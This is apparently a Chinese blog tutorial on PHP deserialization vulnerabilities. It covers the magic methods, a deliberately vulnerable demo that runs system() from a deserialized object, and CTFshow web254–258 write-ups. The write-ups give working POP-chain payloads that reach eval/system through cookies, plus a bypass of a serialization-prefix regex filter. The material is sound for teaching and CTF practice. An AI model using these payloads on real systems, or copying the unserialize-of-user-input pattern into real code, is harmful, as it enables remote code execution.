PHP反序列化入门教程(一)

PHP反序列化入门教程(一)

知识点:

1、PHP-反序列化-应用&识别&函数

2、PHP-反序列化-魔术方法&触发规则

3、PHP-反序列化-联合漏洞&POP链构造

在实战情况下,是不需要知道这些具体分析的,都是利用工具去扫一些框架爆出的反序列话漏洞直接利用即可。学这些具体分析就是为了以后往漏洞挖掘方向发展或者打CTF比赛及面试会被问。

image-20240720211650281

PHP-DEMO1-序列化和反序列化

序列化的原因:为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个人体工学椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)

在PHP中,调用serialize()函数时,会将对象的属性进行序列化,但不会序列化对象的方法(函数)。

  1. 当调用serialize()函数时,它会将对象的属性转换为字符串表示,并存储在序列化的结果中。这样可以将对象保存在文件中、通过网络传输或在不同的请求之间传递。
  2. 然而,对象的方法(函数)不会被序列化。这是因为方法(函数)在PHP中通常是定义在类中,而类是对象的模板。当对象被反序列化时,PHP会根据对象所属的类重新创建对象,并将对象的属性值填充到相应的属性中。方法(函数)则是与类关联的,因此不需要被序列化和存储。
  3. 需要注意的是,当使用反序列化函数unserialize()将序列化的数据还原为对象时,被反序列化的类必须在反序列化之前先定义,否则会出现错误。因此,在进行反序列化操作时,确保对象所属的类已经被定义是非常重要的。

序列化操作 - 即类型转换

PHP & JavaEE & Python

image-20240716194532203

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换为对象

PHP对象转换为字符串格式

image-20240716194803077

serialize()     //将对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

序列化案例

<?php
header("Content-type: text/html; charset=utf-8");
class user{
    public $name='xiaodi';
    public $sex='?';
    public $age=31;
}
$demo=new user();
$s=serialize($demo);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);

对象序列化后的数据:对象转为字符串,便于传输数据

序列化数据反序列化:字符串格式数据转换为对象

需要注意的是:echo 是一种简单的输出方式,只适用于输出字符串。而 var_dump 则是一个更强大的调试工具,可以详细显示变量的类型和值。

image-20240716195631177

PHP-DEMO2-魔术方法触发规则

常见的魔术方法:

__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

__construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

看一个例子,这里区别主要是被动销毁和主动销毁

<?php
header("Content-type: text/html; charset=utf-8");
 
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
    public $name;
    public $age;
    public $string;
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}
 
// 主动销毁
$test = new Test("xiaodi",31, 'Test String');
// 使用unset函数可以立即释放一个变量的内存,使其成为不可访问和不可用的状态。
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
 
//程序运行结束还是会自动销毁对象
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';
?>

image-20240716201017335

__sleep(): //serialize()执行时被自动调用

在类外部使用serialize()时会调用这里的__sleep()方法

<?php
 
//__sleep():serialize之前被调用,可以指定要序列化的对象属性。
class Test{
    public $name;
    public $age;
    public $string;
 
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
        $this->name = $name;
        $this->age = $age;
        $this->string = $string;
    }
 
    //  __sleep() :serialize之前被调用,可以指定要序列化的对象属性
    public function __sleep(){
        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
        // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
        return array('name', 'age','string');
    }
}
$a = new Test("xiaodi",31, 'sexy teacher');
echo serialize($a);
?>

image-20240716201800748

__wakeup(): //unserialize()时会被自动调用

<?php
 
//__wakeup:反序列化恢复对象之前调用该方法
class Test{
    public $sex;
    public $name;
    public $age;
 
    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }
 
    public function __wakeup(){
        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
    }
}
 
$person = new Test('xiaodi',31,'男');
$a = serialize($person);
var_dump(unserialize($a));
?>

image-20240716202646676

__invoke(): //把对象当作函数调用时触发

<?php
 
//__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
class Test{
    // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
    public function __invoke($param1, $param2, $param3){
        echo "这是一个对象<br>";
        // var_dump函数是一个用于调试的函数,它将输出给定变量的类型、值和其他相关信息
        var_dump($param1,$param2,$param3);
    }
}
 
$a  = new Test();
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi',31,'?');
?>

image-20240716203221039

__toString(): //把对象当作字符串使用时触发

<?php 
 
//__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
class Test
{
    public $variable = 'good is string';
 
    public function good(){
        echo $this->variable . '<br />';
    }
 
    // 在对象当做字符串的时候会被调用
    public function __toString(){
        return '__toString魔术方法被执行!';
    }
}
 
$a = new Test();
// 输出对象a就是把a当作字符串输出,触发toString()
echo $a;
 
?>

image-20240716203716492

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数

存在good方法,调用,不存在xiaodi方法,调用__call()方法

<?php
 
//__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
class Test{
 
    public function good($number,$string){
        echo '存在good方法'.'<br>';
        echo $number.'---------'.$string.'<br>';
    }
 
    // 当调用类中不存在的方法时,就会调用__call();
    public function __call($method,$args){
        echo '不存在'.$method.'方法'.'<br>';
        var_dump($args);
    }
}
 
$a = new Test();
$a->good(1,'xiaodisec');
// 不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');
 
?>

image-20240716204326728

__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数

<?php

//__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
class Test {
  public $n='存在成员变量n值为xiaodisese';

  // __get():访问不存在的成员变量时调用
  public function __get($name){
    echo '__get 不存在成员变量'.$name.'<br>';
  }
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->xiaodi;

?>

image-20240716205848967

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

<?php
 
//__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
class Test{
    public $noway=0;
 
    // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
    /* __set($name, $value)
     * 用来为私有成员属性设置的值
     * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
     * */
 
    public function __set($name,$value){
        echo '__set 不存在成员变量 '.$name.'<br>';
        echo '即将设置的值 '.$value."<br>";
        $this->noway=$value;
    }
 
    public function Get(){
        echo $this->noway;
    }
}
 
$a = new Test();
// 访问noway属性时调用,并设置值为899
$a->noway  = 123;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
// 经过__set方法的设置noway的值为31
$a->Get();
 
?>

__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)

<?php

//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
  public $sex; //公共的
  private $name; //私有的
  private $age; //私有的

  public function __construct($name, $age, $sex){
    $this->name = $name;
    $this->age = $age;
    $this->sex = $sex;
  }

  // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
  public function __isset($content){
    echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
    echo "123<br>";
    return isset($this->$content);
  }
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// isset函数用于检测一个变量是否已经设置并且不为null。
echo isset($person->name),"<br>";  // 输出为123,1
echo empty($person->sex),"<br>"; //访问public,不会触发-isset()
// private 成员
echo isset($person->name),"<br>";
echo empty($person->age),"<br>";

?>

image-20240717174822878

解释一下上图输出结果

echo ($person->sex),"<br>";echo isset($person->name),"<br>";这两条语句输出123 1,因为sex是公用变量,而name是私有变量,对不可访问属性调用isset()函数时__isset()会被调用,最后返回isset($this->$content),输出1

__unset(): //在不可访问的属性上使用unset()时触发

<?php
 
//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
    public $sex;
    private $name;
    private $age;
 
    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }
 
    // __unset():销毁对象的某个属性时执行此函数
    public function __unset($content) {
        echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
        //echo isset($this->$content)."<br>";
    }
}
 
$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性公有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset
 
?>

image-20240717174938322

PHP-DEMO3-反序列化漏洞产生

漏洞原理

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。
  • 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

测试代码

__destruct()魔术方法中写入恶意函数,被动销毁对象后,调用destruct()方法

<?php

class B{
  public $cmd='ipconfig';
  public function __destruct(){
    system($this->cmd);
  }
}
$b = new B();
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
?>

image-20240717203708801

需要注意的是:

在 PHP 中,unserialize() 过程中不会执行 __construct() 构造函数。这是因为反序列化的目的是将对象恢复到其之前的状态,而不是重新初始化对象。构造函数通常用于初始化一个新对象,而反序列化需要的是恢复对象的状态,而不是重新初始化它。

<?php
class B{
  public $cmd = "whoami";
}
$x = new B();
echo serialize($x);

得到序列化对象数字符串O:1:"B":1:{s:3:"cmd";s:6:"whoami";},赋给x

<?php

class B{
  public $cmd='ipconfig';
  public function __construct(){
    echo "创建对象时调用construct";
  }
  public function __destruct(){
    echo "对象销毁时调用construct<br>";
    system($this->cmd);
  }
}
//$b = new B();
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

?>

image-20240717205854768

这里只调用了__destruct()魔术方法

PHP-CTFSHOW-POP触发链构造

Web254-对象引用执行逻辑

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这道题主要是要捋清楚条件判断

条件判断if($user->login($username,$password))实际上就是条件判断if($this->username===$username&&$this->password===$password),就是判断实例对象中username的值是否等于变量username的值

//payload
?username=xxxxxx&password=xxxxxx

image-20240717213345583

Web255-反序列化变量修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




在这类题目中,看代码先看flag,这题就是要让user值为cookie中user对应值反序列化,然后调用login($username,$password)函数,和上面一样要让$_GET['username']值等于ctfShowUser中username属性值,还有checkVip()函数,要让isVip=true,这样思路就明了了,序列化一个isVip=true的对象,在login()函数中,username是类的属性,所以可以在类中重写属性也可以直接用xxxxxx,需要注意的是当cookie中包含有等号、空格、分号等特殊字符时,可能会导致数据丢失、或者不能解析的错误,所以我们最好还是把序列化得到的字符串进行URL编码

<?php
class ctfShowUser{
  public $isVip=true;
}
$x =new ctfShowUser();
echo serialize($x);
<?php
class ctfShowUser{
  public $username='gay';
  public $password='ikun';
  public $isVip=true;
}
$x =new ctfShowUser();
echo serialize($x);

image-20240718204105524

image-20240718204339047

Web256-反序列化参数修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这道题和前面类似,在序列化前修改参数,需要满足usernamepassword不相等

image-20240718210039037

Web257-反序列化参数修改&对象调用逻辑

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

从这题开始终于用到魔术方法了

在反序列化CTF题目中主要还是要看哪里是有用的地方,哪里要改,然后构造POP链

前提:backDoor中的RCE,要调用getInfo()方法,这个在对象被销毁时就能调用魔术方法

修改:在魔术方法中创建一个新对象,因为我们的目的是执行我们需要的语句,所以也要把code变量值改一下

<?php
class ctfShowUser{
  public $class = 'backDoor';
  public function __construct(){
    $this->class=new backDoor();
  }
}
class backDoor{
  public $code='system("ls");';

}
echo urlencode(serialize(new ctfShowUser));
?>
  • $this 是在类的方法内部用于引用当前对象的关键字。
  • $this->class 表示当前对象中的一个属性。
  • 通过 new backDoor() 创建了一个 backDoor 类的新实例,并将其赋值给当前对象的 class 属性。

这意味着每当创建这个类的新对象时,都会自动执行这个构造函数,从而将一个新的 backDoor 类的实例存储在对象的 class 属性中,以供后续在类的其他方法中使用

我们接着来详细分析一下在题目中的代码部分:

使用了 unserialize($_COOKIE['user']) 来反序列化 $_COOKIE['user'] 的值,并将其赋值给 $user 对象,然后调用了 $user->login($username,$password)

在代码2中urlencode(serialize(new ctfShowUser))作为 $_COOKIE['user'] 的值时,反序列化过程会将该字符串还原成一个 ctfShowUser 对象。而在这个对象中,$class 属性被设置为了 backDoor 类的实例(因为在代码2中创建的 ctfShowUser 对象的 $class 属性是 backDoor )。

当程序执行完毕或对象被销毁时,会自动调用析构函数,即执行 $this->class->getInfo() (不要忘了题目中也有可以触发的魔术方法),由于此时 $classbackDoor 类的实例,所以会调用 backDoor 类的 getInfo 方法,而该方法中的 eval($this->code) 会执行之前设置的恶意代码 system("ls") ,从而导致任意代码执行。

这就是为什么使用特定的序列化信息可以执行 eval 的原因,本质上是利用了 PHP 反序列化的特性以及代码中存在的不安全的对象属性赋值和析构函数调用,使得攻击者能够控制反序列化后的对象行为,进而执行任意代码。

image-20240720110302495

这道题有过滤,用tac命令查看flag

<?php
class ctfShowUser{
  public $username = 'xiaoyu';
  public $password = '123';
  public $class = 'backDoor';
  public function __construct(){
    $this->class=new backDoor();
  }
}
class backDoor{
  public $code='system("tac flag.php");';

}
echo urlencode(serialize(new ctfShowUser));
?>

image-20240720113332088

Web258-反序列化参数修改&对象调用逻辑&正则

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这道题增加了Cookieuser内容的过滤

preg_match('/[oc]:\d+:/i', $_COOKIE['user'])就是判断user内容是否有O:数字:C:数字:

image-20240720121436462

在中间加个+绕过

image-20240720200448962

参考文章

[1] https://blog.csdn.net/qq_61553520?type=blog

[2] http://www.xiaodi8.com/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值